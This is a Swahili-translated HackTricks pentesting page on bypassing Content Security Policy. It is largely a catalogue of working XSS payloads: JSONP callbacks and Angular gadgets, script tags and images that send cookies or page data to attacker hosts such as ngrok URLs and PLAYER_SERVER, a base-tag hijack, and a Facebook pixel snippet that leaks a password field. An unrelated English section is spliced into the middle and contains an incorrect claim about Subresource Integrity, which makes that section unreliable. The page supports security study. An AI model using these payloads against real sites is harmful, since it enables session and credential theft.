hacktricks/pentesting-web/content-security-policy-csp-bypass
2024-02-11 02:13:58 +00:00
..
csp-bypass-self-+-unsafe-inline-with-iframes.md Translated to Swahili 2024-02-11 02:13:58 +00:00
README.md Translated to Swahili 2024-02-11 02:13:58 +00:00

Kuki ya Usalama wa Yaliyomo (CSP) Inayopita

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Jiunge na seva ya HackenProof Discord ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa tuzo za mdudu!

Machapisho Kuhusu Kudukua
Shiriki na yaliyomo yanayochunguza msisimko na changamoto za kudukua

Habari za Kudukua za Wakati Halisi
Endelea kuwa na habari za ulimwengu wa kudukua kwa kasi kupitia habari na ufahamu wa wakati halisi

Matangazo ya Hivi Karibuni
Baki na habari kuhusu tuzo mpya za mdudu zinazozinduliwa na sasisho muhimu za jukwaa

Jiunge nasi kwenye Discord na anza kushirikiana na wadukuzi bora leo!

CSP ni nini

Kuki ya Usalama wa Yaliyomo (CSP) inatambuliwa kama teknolojia ya kivinjari, iliyolenga hasa ulinzi dhidi ya mashambulizi kama vile udukuzi wa tovuti (XSS). Inafanya kazi kwa kufafanua na kuelezea njia na vyanzo ambavyo rasilimali zinaweza kupakia kwa usalama na kivinjari. Rasilimali hizi zinajumuisha vitu mbalimbali kama picha, fremu, na JavaScript. Kwa mfano, sera inaweza kuruhusu kupakia na kutekeleza rasilimali kutoka kikoa kile kile (self), pamoja na rasilimali za ndani na utekelezaji wa nambari ya herufi kupitia kazi kama vile eval, setTimeout, au setInterval.

UTEKELEZAJI wa CSP unafanywa kupitia vichwa vya majibu au kwa kuingiza vipengele vya meta kwenye ukurasa wa HTML. Kufuatia sera hii, vivinjari hutekeleza kwa ufanisi masharti haya na mara moja kuzuia uvunjaji wowote uliogunduliwa.

  • Imetekelezwa kupitia kichwa cha majibu:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
  • Imetekelezwa kupitia lebo ya meta:
<meta http-equiv="Content-Security-Policy" content="...">
  • Inaweza kutekelezwa kwa kutumia lebo ya meta:
<meta http-equiv="Content-Security-Policy" content="...">
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Vichwa vya habari

CSP inaweza kutekelezwa au kufuatiliwa kwa kutumia vichwa vya habari hivi:

  • Content-Security-Policy: Inatekeleza CSP; kivinjari kinazuia uvunjaji wowote.
  • Content-Security-Policy-Report-Only: Hutumiwa kwa ufuatiliaji; inaripoti uvunjaji bila kuwazuia. Ni bora kwa ajili ya majaribio katika mazingira ya awali ya uzalishaji.

Kuainisha Rasilmali

CSP inazuia asili za kupakia maudhui ya moja kwa moja na ya kubaki, ikidhibiti mambo kama utekelezaji wa JavaScript ya moja kwa moja na matumizi ya eval(). Sera ya mfano ni:

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Mwongozo

  • script-src: Inaruhusu vyanzo maalum vya JavaScript, ikiwa ni pamoja na URL, script za ndani, na script zinazosababishwa na wakala wa tukio au XSLT stylesheets.
  • default-src: Inaweka sera ya msingi ya kupata rasilimali wakati maelekezo maalum ya kupata hayapo.
  • child-src: Inabainisha rasilimali zinazoruhusiwa kwa wafanyakazi wa wavuti na yaliyomo ya fremu iliyowekwa.
  • connect-src: Inazuia URL ambazo zinaweza kupakia kwa kutumia interfaces kama vile fetch, WebSocket, XMLHttpRequest.
  • frame-src: Inazuia URL kwa fremu.
  • frame-ancestors: Inabainisha vyanzo ambavyo vinaweza kuingiza ukurasa wa sasa, inatumika kwa vipengele kama <frame>, <iframe>, <object>, <embed>, na <applet>.
  • img-src: Inafafanua vyanzo vinavyoruhusiwa kwa picha.
  • font-src: Inabainisha vyanzo halali kwa fonts zinazopakiwa kwa kutumia @font-face.
  • manifest-src: Inafafanua vyanzo vinavyoruhusiwa vya faili za maandishi ya maombi.
  • media-src: Inafafanua vyanzo vinavyoruhusiwa kwa kupakia vitu vya media.
  • object-src: Inafafanua vyanzo vinavyoruhusiwa kwa vipengele vya <object>, <embed>, na <applet>.
  • base-uri: Inabainisha URL zinazoruhusiwa kwa kupakia kwa kutumia vipengele vya <base>.
  • form-action: Inorodhesha vituo halali vya kuwasilisha fomu.
  • plugin-types: Inazuia aina za mime ambazo ukurasa unaweza kuita.
  • upgrade-insecure-requests: Inaagiza vivinjari kubadilisha URL za HTTP kuwa HTTPS.
  • sandbox: Inatumia vizuizi kama sifa ya sandbox ya <iframe>.
  • report-to: Inabainisha kikundi ambacho ripoti itatumwa ikiwa sera itakiukwa.
  • worker-src: Inabainisha vyanzo halali kwa script za Worker, SharedWorker, au ServiceWorker.
  • prefetch-src: Inabainisha vyanzo halali kwa rasilimali ambazo zitapakuliwa au kuhifadhiwa mapema.
  • navigate-to: Inazuia URL ambazo hati inaweza kuelekea kwa njia yoyote (a, fomu, window.location, window.open, nk.)

Vyanzo

  • *: Inaruhusu URL zote isipokuwa zile zenye mpango wa data:, blob:, filesystem:.
  • 'self': Inaruhusu kupakia kutoka kwenye kikoa kile kile.
  • 'data': Inaruhusu rasilimali kupakia kupitia mpango wa data (k.m., picha zilizofungwa kwa msingi wa Base64).
  • 'none': Inazuia kupakia kutoka kwa chanzo chochote.
  • 'unsafe-eval': Inaruhusu matumizi ya eval() na njia sawa, sio ilipendekezwa kwa sababu za usalama.
  • 'unsafe-hashes': Inawezesha wakala wa tukio za ndani maalum.
  • 'unsafe-inline': Inaruhusu matumizi ya rasilimali za ndani kama <script> au <style>, sio ilipendekezwa kwa sababu za usalama.
  • 'nonce': Orodha nyeupe kwa script za ndani maalum zikitumia nonce ya kriptografia (nambari inayotumiwa mara moja).
  • 'sha256-<hash>': Orodha nyeupe ya script zenye hash ya sha256 maalum.
  • 'strict-dynamic': Inaruhusu kupakia script kutoka kwa chanzo chochote ikiwa imeorodheshwa kwenye nonce au hash.
  • 'host': Inabainisha mwenyeji maalum, kama example.com.
  • https:: Inazuia URL zile zinazotumia HTTPS tu.
  • blob:: Inaruhusu rasilimali kupakia kutoka kwa URL za Blob (k.m., URL za Blob zilizoundwa kupitia JavaScript).
  • filesystem:: Inaruhusu rasilimali kupakia kutoka kwa mfumo wa faili.
  • 'report-sample': Inajumuisha sampuli ya nambari inayokiuka katika ripoti ya ukiukaji (inayofaa kwa ajili ya kutatua matatizo).
  • 'strict-origin': Sawa na 'self' lakini inahakikisha kiwango cha usalama cha itifaki ya vyanzo kinalingana na hati (vyanzo salama tu vinaweza kupakia rasilimali kutoka kwa vyanzo salama).
  • 'strict-origin-when-cross-origin': Inatuma URL kamili wakati wa kufanya maombi ya asili sawa lakini inatuma asili tu wakati ombi ni la asili ya msalaba.
  • 'unsafe-allow-redirects': Inaruhusu kupakia rasilimali ambazo zitaelekeza mara moja kwa rasilimali nyingine. Sio ilipendekezwa kwa sababu inapunguza usalama.

Sheria Hatari za CSP

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Payload inayofanya kazi: "/><script>alert(1);</script>

self + 'unsafe-inline' kupitia Iframes

{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}

'unsafe-eval'

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Payload inayofanya kazi:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

Ikiwa kwa namna fulani unaweza kufanya msimbo wa JS ulioruhusiwa uunde lebo mpya ya skripti katika DOM na msimbo wako wa JS, kwa sababu skripti iliyoruhusiwa inaunda hiyo, lebo mpya ya skripti itaruhusiwa kutekelezwa.

Wildcard (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

Payload inayofanya kazi:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Ukosefu wa object-src na default-src

{% hint style="danger" %} Inaonekana kama hii haifanyi kazi tena {% endhint %}

Content-Security-Policy: script-src 'self' ;

Mizigo inayofanya kazi:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

Kuleta Faili + 'self'

Kwa kawaida, sera ya usalama wa maudhui (CSP) inazuia kuleta faili kutoka vyanzo vingine isipokuwa chanzo cha tovuti yenyewe. Hata hivyo, kuna njia ya kuzunguka hii kwa kutumia sera ya CSP iliyo na kipengele cha 'self'.

Kipengele cha 'self' kinawezesha kuleta faili kutoka kwenye chanzo cha tovuti yenyewe. Kwa hiyo, tunaweza kutumia hili kwa faida yetu kwa kuleta faili kutoka kwenye tovuti yetu wenyewe.

Hapa kuna hatua za kufuata ili kufanikisha hili:

  1. Tengeneza tovuti bandia ambayo itakuwa chanzo cha faili tunayotaka kuleta.
  2. Weka sera ya CSP kwenye tovuti yetu halisi ili kuruhusu kuleta faili kutoka kwenye chanzo cha 'self'.
  3. Tumia faili ya JavaScript kwenye tovuti yetu halisi ili kuleta faili kutoka kwenye tovuti bandia.

Kwa kufuata hatua hizi, tunaweza kuzunguka sera ya CSP na kuleta faili kutoka kwenye chanzo cha tovuti yetu wenyewe.

Content-Security-Policy: script-src 'self';  object-src 'none' ;

Ikiwa unaweza kupakia faili ya JS, unaweza kuzunguka CSP hii:

Payload inayofanya kazi:

"/>'><script src="/uploads/picture.png.js"></script>

Hata hivyo, ni kawaida sana kwamba seva inathibitisha faili iliyopakiwa na itakuruhusu tu kupakia aina fulani ya faili.

Zaidi ya hayo, hata kama unaweza kupakia msimbo wa JS ndani ya faili kwa kutumia kipengele kinachokubaliwa na seva (kama vile: script.png), hii haitoshi kwa sababu baadhi ya seva kama seva ya apache huchagua aina ya MIME ya faili kulingana na kipengele na vivinjari kama Chrome vitakataa kutekeleza msimbo wa Javascript ndani ya kitu ambacho kinapaswa kuwa picha. "Kwa bahati nzuri", kuna makosa. Kwa mfano, kutoka kwa CTF nilijifunza kwamba Apache haitambui kipengele cha .wave, kwa hivyo haitoi kwa aina ya MIME kama audio/*.

Kutoka hapa, ikiwa utapata XSS na kupakia faili, na utafanikiwa kupata kipengele kilichochanganywa, unaweza kujaribu kupakia faili na kipengele hicho na Maudhui ya script. Au, ikiwa seva inachunguza muundo sahihi wa faili iliyopakiwa, unaweza kuunda polyglot (baadhi ya mifano ya polyglot hapa).

Nukta ya Tatu ya Mawasiliano ya Nje + ('unsafe-eval')

{% hint style="warning" %} Kwa baadhi ya malipo ya kufuatia, unsafe-eval hata haihitajiki. {% endhint %}

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Pakia toleo lenye udhaifu la angular na tekeleza JS yoyote:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Mipangilio ya kutumia Angular + maktaba na kazi zinazorudisha kifaa cha window (angalia chapisho hili):

{% hint style="info" %} Chapisho linaonyesha kuwa unaweza kupakia maktaba zote kutoka cdn.cloudflare.com (au maktaba zingine zinazoruhusiwa za JS), kutekeleza kazi zote zilizoongezwa kutoka kila maktaba, na kuangalia kazi zipi kutoka kwa maktaba zipi zinarudisha kifaa cha window. {% endhint %}

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Kudhuru kanuni ya JS ya google recaptcha

Kulingana na hii CTF writeup unaweza kudhuru https://www.google.com/recaptcha/ ndani ya CSP ili kutekeleza kanuni ya JS isiyo na mipaka kwa kupita kwenye CSP:

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

Njia za Tatu za Mawasiliano + JSONP

Maelezo

Mara nyingi, sera ya usalama wa maudhui (CSP) inazuia upakiaji wa rasilimali kutoka kwa vyanzo vya tatu kwenye tovuti. Hii inalenga kuzuia mashambulizi ya kuingiza maudhui (XSS) na kudhibiti upatikanaji wa rasilimali za tovuti. Walakini, kuna njia kadhaa za kuzunguka sera hii na kupata rasilimali kutoka kwa vyanzo vya tatu.

Moja ya njia hizi ni kutumia JSONP (JSON with Padding). JSONP ni njia ya zamani ya kuruhusu mawasiliano ya kuvuka kwa kivinjari kati ya tovuti tofauti. Inaruhusu tovuti ya kwanza kuomba data kutoka kwa tovuti ya pili kwa kutumia skripti ya JavaScript. JSONP inafanya kazi kwa kuongeza data ya JSON kwenye mwitikio wa skripti ya JavaScript, ambayo inaruhusu tovuti ya kwanza kusoma data hiyo.

Jinsi ya Kuzunguka Sera ya Usalama wa Maudhui (CSP) kwa Kutumia JSONP

  1. Tafuta sehemu ya tovuti ambayo inaruhusu upakiaji wa skripti za JavaScript kutoka kwa vyanzo vya tatu.
  2. Tengeneza skripti ya JavaScript ambayo inaomba data kutoka kwa tovuti ya pili kwa kutumia JSONP.
  3. Ongeza skripti ya JavaScript kwenye sehemu ya tovuti ambayo inaruhusu upakiaji wa skripti za JavaScript kutoka kwa vyanzo vya tatu.
  4. Hakikisha kuwa tovuti ya pili inarudisha data ya JSONP kwa tovuti ya kwanza.

Kwa kufuata hatua hizi, unaweza kuzunguka sera ya usalama wa maudhui (CSP) na kupata rasilimali kutoka kwa vyanzo vya tatu kwenye tovuti. Hii inaweza kutumiwa kwa madhumuni ya uchunguzi wa usalama au kwa kufanya mashambulizi ya kuingiza maudhui (XSS).

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Hali kama hii ambapo script-src imewekwa kama self na kikoa maalum ambacho kimeorodheshwa kwenye orodha nyeupe inaweza kuzidiwa kwa kutumia JSONP. Njia za JSONP huruhusu njia za kurejesha zisizo salama ambazo huruhusu mshambuliaji kutekeleza XSS, mzigo unaofanya kazi:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee inayoendelea JSONP endpoints tayari kutumia kwa kusudi la kukiuka CSP ya tovuti mbalimbali.

Uvunjaji huo huo utatokea ikiwa kituo kilichoidhinishwa kina Open Redirect kwa sababu ikiwa kituo cha awali kinaaminika, maelekezo yanakuwa ya kuaminika.

Matumizi Mabaya ya Wahusika Wengine

Kama ilivyoelezwa katika chapisho lifuatalo, kuna uwezekano wa kutumia kwa mabaya kikoa cha tatu, ambacho kinaweza kuruhusiwa mahali fulani katika CSP, ili kuiba data au kutekeleza kificho cha JavaScript. Baadhi ya wahusika wengine hawa ni:

Kiumbe Kikoa Kilichoruhusiwa Uwezo
Facebook www.facebook.com, *.facebook.com Kuiba
Hotjar *.hotjar.com, ask.hotjar.io Kuiba
Jsdelivr *.jsdelivr.com, cdn.jsdelivr.net Kutekeleza
Amazon CloudFront *.cloudfront.net Kuiba, Kutekeleza
Amazon AWS *.amazonaws.com Kuiba, Kutekeleza
Azure Websites *.azurewebsites.net, *.azurestaticapps.net Kuiba, Kutekeleza
Salesforce Heroku *.herokuapp.com Kuiba, Kutekeleza
Google Firebase *.firebaseapp.com Kuiba, Kutekeleza

Ikiwa utapata kikoa chochote kilichoruhusiwa katika CSP ya lengo lako, kuna uwezekano kwamba unaweza kukiuka CSP kwa kusajili kwenye huduma ya wahusika wengine na, ama kuiba data kwenda huduma hiyo au kutekeleza kificho.

Kwa mfano, ikiwa utapata CSP ifuatayo:

Content-Security-Policy: default-src 'self www.facebook.com;

Bypassing Content Security Policy (CSP)

Content Security Policy (CSP) is a security mechanism implemented by web applications to mitigate the risk of cross-site scripting (XSS) attacks. It allows web developers to define a set of policies that restrict the types of content that can be loaded and executed on a web page.

However, CSP can sometimes be misconfigured or have loopholes that can be exploited by attackers. In this section, we will explore some techniques to bypass CSP and execute malicious code on a web page.

1. Inline Script Execution

CSP typically restricts the execution of inline scripts, which are scripts embedded directly within HTML tags. However, there are several ways to bypass this restriction:

  • Event Handlers: By using event handlers like onload or onclick, you can execute arbitrary JavaScript code inline.
  • JavaScript URLs: You can use JavaScript URLs (javascript:...) in attributes like href or src to execute inline scripts.
  • <script> Tag: By injecting a <script> tag dynamically into the DOM, you can execute inline scripts.

2. External Script Execution

CSP also restricts the loading and execution of external scripts from unauthorized sources. However, there are techniques to bypass this restriction as well:

  • Whitelisted Domains: If a domain is whitelisted in the CSP policy, you can load and execute scripts from that domain.
  • Subresource Integrity (SRI) Bypass: If a script has a Subresource Integrity (SRI) hash, you can bypass CSP by modifying the script content while keeping the hash unchanged.
  • Data URIs: You can use data URIs to embed scripts directly into the HTML, bypassing CSP restrictions.

3. Fetch and Eval

CSP may restrict the use of eval() and Function() to execute dynamically generated code. However, you can bypass this restriction by using the fetch() function to retrieve the code and then executing it with eval() or Function().

4. Nonce Bypass

CSP allows the use of nonces, which are random values generated by the server and included in the CSP header. These nonces are used to validate the integrity of inline scripts. However, if the server does not properly validate the nonces, you can bypass CSP by injecting arbitrary inline scripts with a matching nonce.

5. Reporting Endpoints

CSP allows web applications to specify a reporting endpoint where violation reports are sent. By setting up your own reporting endpoint, you can intercept these reports and gather information about the CSP policy, potentially identifying weaknesses or misconfigurations.

Conclusion

Content Security Policy (CSP) is an important security mechanism that helps protect web applications against XSS attacks. However, it is not foolproof, and misconfigurations or loopholes can allow attackers to bypass CSP and execute malicious code. As a penetration tester, it is crucial to understand these bypass techniques in order to identify and mitigate potential vulnerabilities in web applications.

Content-Security-Policy: connect-src www.facebook.com;

Unapaswa kuweza kuchukua data, kama ilivyokuwa ikifanywa kwa kutumia Google Analytics/Google Tag Manager. Katika kesi hii, unafuata hatua hizi kwa ujumla:

  1. Unda akaunti ya Facebook Developer hapa.
  2. Unda programu mpya ya "Facebook Login" na chagua "Tovuti".
  3. Nenda kwenye "Mipangilio -> Msingi" na pata "Kitambulisho cha Programu" chako.
  4. Kwenye tovuti lengwa ambayo unataka kuchukua data kutoka, unaweza kuchukua data moja kwa moja kwa kutumia kifaa cha Facebook SDK "fbq" kupitia "customEvent" na mzigo wa data.
  5. Nenda kwenye "Meneja wa Matukio" ya Programu yako na chagua programu uliyounda (kumbuka kuwa meneja wa matukio inaweza kupatikana kwenye URL kama hii: https://www.facebook.com/events_manager2/list/pixel/[kitambulisho-cha-programu]/test_events
  6. Chagua kichupo "Matukio ya Majaribio" kuona matukio yanayotumwa na tovuti "yako".

Kisha, upande wa mwathirika, tekeleza nambari ifuatayo ili kuanzisha pikseli ya ufuatiliaji wa Facebook ili ielekeze kwenye akaunti ya Facebook ya muundaji wa shambulizi na kitambulisho cha programu na kutuma tukio maalum kama hili:

fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});

Kuhusu uwanja wa tatu saba ulioelezewa katika jedwali hapo awali, kuna njia nyingi za kuwatumia vibaya. Angalia chapisho la blogi hapo awali kwa maelezo zaidi kuhusu unyanyasaji wa uwanja wa tatu.

Kupitisha kupitia RPO (Relative Path Overwrite)

Mbali na mbinu ya kuelekeza iliyotajwa hapo awali ya kuepuka vizuizi vya njia, kuna mbinu nyingine inayoitwa Relative Path Overwrite (RPO) ambayo inaweza kutumika kwenye seva fulani.

Kwa mfano, ikiwa CSP inaruhusu njia https://example.com/scripts/react/, inaweza kuepukwa kama ifuatavyo:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

Kivinjari hatimaye litapakia https://example.com/scripts/angular/angular.js.

Hii inafanya kazi kwa sababu kwa kivinjari, unapakia faili iliyoitwa ..%2fangular%2fangular.js iliyoko chini ya https://example.com/scripts/react/, ambayo inalingana na CSP.

∑, wataidecode, wakiomba kwa ufanisi https://example.com/scripts/react/../angular/angular.js, ambayo ni sawa na https://example.com/scripts/angular/angular.js.

Kwa kutumia hitilafu hii katika tafsiri ya URL kati ya kivinjari na seva, sheria za njia zinaweza kuzungukwa.

Suluhisho ni kutotendea %2f kama / upande wa seva, kuhakikisha tafsiri thabiti kati ya kivinjari na seva ili kuepuka shida hii.

Mfano Mtandaoni: https://jsbin.com/werevijewa/edit?html,output

Utekelezaji wa JS kupitia Iframes

{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

base-uri iliyokosekana

Ikiwa agizo la base-uri limekosekana, unaweza kulitumia kufanya dangling markup injection.

Zaidi ya hayo, ikiwa ukurasa unapakia skripti kwa kutumia njia ya kihusishi (kama <script src="/js/app.js">) kwa kutumia Nonce, unaweza kulitumia tag ya base kufanya iipakie skripti kutoka kwenye seva yako mwenyewe na kufanikisha XSS.
Ikiwa ukurasa wenye udhaifu unapakia kwa kutumia httpS, tumia URL ya httpS katika base.

<base href="https://www.attacker.com/">

Matukio ya AngularJS

Sera maalum inayojulikana kama Sera ya Usalama wa Yaliyomo (CSP) inaweza kuzuia matukio ya JavaScript. Walakini, AngularJS inaleta matukio ya desturi kama mbadala. Ndani ya tukio, AngularJS hutoa kitu maalum kinachoitwa $event, kinachorejelea kitu cha tukio asilia cha kivinjari. Kitu hiki cha $event kinaweza kutumiwa kuzunguka CSP. Hasa, katika Chrome, kitu cha $event/event kina sifa ya path, kinachoshikilia safu ya vitu vilivyohusishwa katika mnyororo wa utekelezaji wa tukio, na kitu cha window kikiwa daima kiko mwishoni. Muundo huu ni muhimu kwa mbinu za kutoroka kwenye sanduku.

Kwa kuongoza safu hii kwenye kichujio cha orderBy, inawezekana kuipitia, kwa kutumia kipengele cha mwisho (kitu cha window) kuchochea kazi ya ulimwengu kama vile alert(). Msimbo ulioonyeshwa hapa chini unaelezea mchakato huu:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Kificho hiki kinaonyesha matumizi ya agizo la ng-focus kuzindua tukio, kwa kutumia $event.path|orderBy kubadilisha safu ya path, na kutumia kifaa cha window kutekeleza kazi ya alert(), hivyo kufichua document.cookie.

Tafuta njia zingine za kuzungusha Angular katika https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS na kikoa kilichoorodheshwa

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

Sera ya CSP ambayo inaweka orodha nyeupe ya kikoa kwa kupakia skripti katika programu ya Angular JS inaweza kuzuiwa kupitia wito wa kazi za kurejesha na darasa fulani lenye udhaifu. Taarifa zaidi kuhusu mbinu hii zinapatikana katika mwongozo kamili uliopo kwenye hifadhi ya git hii.

Mizigo inayofanya kazi:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Njia nyingine za utekelezaji wa JSONP zisizo na kikomo zinaweza kupatikana hapa (baadhi yao yalifutwa au kurekebishwa)

Kupitisha kwa njia ya Uelekezaji

Nini kinatokea wakati CSP inakutana na uelekezaji wa upande wa seva? Ikiwa uelekezaji unapelekea kwenye asili tofauti ambayo haijaruhusiwa, bado itashindwa.

Hata hivyo, kulingana na maelezo katika CSP spec 4.2.2.3. Paths and Redirects, ikiwa uelekezaji unapelekea kwenye njia tofauti, inaweza kuepuka vizuizi vya awali.

Hapa kuna mfano:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

Ikiwa CSP imewekwa kama https://www.google.com/a/b/c/d, kwa kuwa njia inazingatiwa, hati za /test na /a/test zote zitazuiliwa na CSP.

Walakini, http://localhost:5555/301 ya mwisho ita kuongozwa upya kwenye upande wa seva kwenda https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//. Kwa kuwa ni upyaishaji, njia haijazingatiwa, na hati inaweza kupakia, hivyo kuzidisha kizuizi cha njia.

Kwa upyaishaji huu, hata ikiwa njia imeelezewa kikamilifu, bado itazidishwa.

Kwa hivyo, suluhisho bora ni kuhakikisha kuwa tovuti haina udhaifu wowote wa kuongoza upya wazi na kwamba hakuna kikoa kinachoweza kutumiwa vibaya katika sheria za CSP.

Pita kizuizi cha CSP na alama ya kuteleza

Soma jinsi hapa.

'unsafe-inline'; img-src *; kupitia XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' inamaanisha kuwa unaweza kutekeleza script yoyote ndani ya nambari (XSS inaweza kutekeleza nambari) na img-src * inamaanisha kuwa unaweza kutumia kwenye ukurasa wavuti picha yoyote kutoka kwenye rasilimali yoyote.

Unaweza kuzidisha CSP hii kwa kuchukua data kupitia picha (katika tukio hili, XSS inatumia CSRF ambapo ukurasa unaopatikana na bot ina SQLi, na kuchukua bendera kupitia picha):

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

Kutoka: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

Unaweza pia kutumia hali hii kwa kupakia kanuni ya javascript iliyoingizwa ndani ya picha. Kwa mfano, ikiwa ukurasa unaruhusu kupakia picha kutoka Twitter. Unaweza kuunda picha maalum, kuipakia kwenye Twitter na kutumia "unsafe-inline" ili kutekeleza kanuni ya JS (kama XSS ya kawaida) ambayo ita pakia picha, chukua JS kutoka kwake na itekeleze hiyo: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Kwa Kutumia Wafanyakazi wa Huduma

Kazi za wafanyakazi wa huduma importScripts hazina kikomo na CSP:

{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}

Uingizaji wa Sera

Utafiti: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

Ikiwa parameta iliyotumwa na wewe inawekwa ndani ya tamko la sera, basi unaweza kubadilisha sera kwa njia fulani ambayo inafanya isiwe na maana. Unaweza kuruhusu script 'unsafe-inline' na moja ya njia hizi za kuvuka:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Kwa sababu agizo hili litafuta agizo la script-src lililopo. Unaweza kupata mfano hapa: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

Katika Edge ni rahisi sana. Ikiwa unaweza kuongeza hii tu kwenye CSP: ;_ Edge itaondoa sera nzima. Mfano: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; kupitia XSS (iframe) - Shambulio la Wakati

Tambua ukosefu wa agizo 'unsafe-inline'
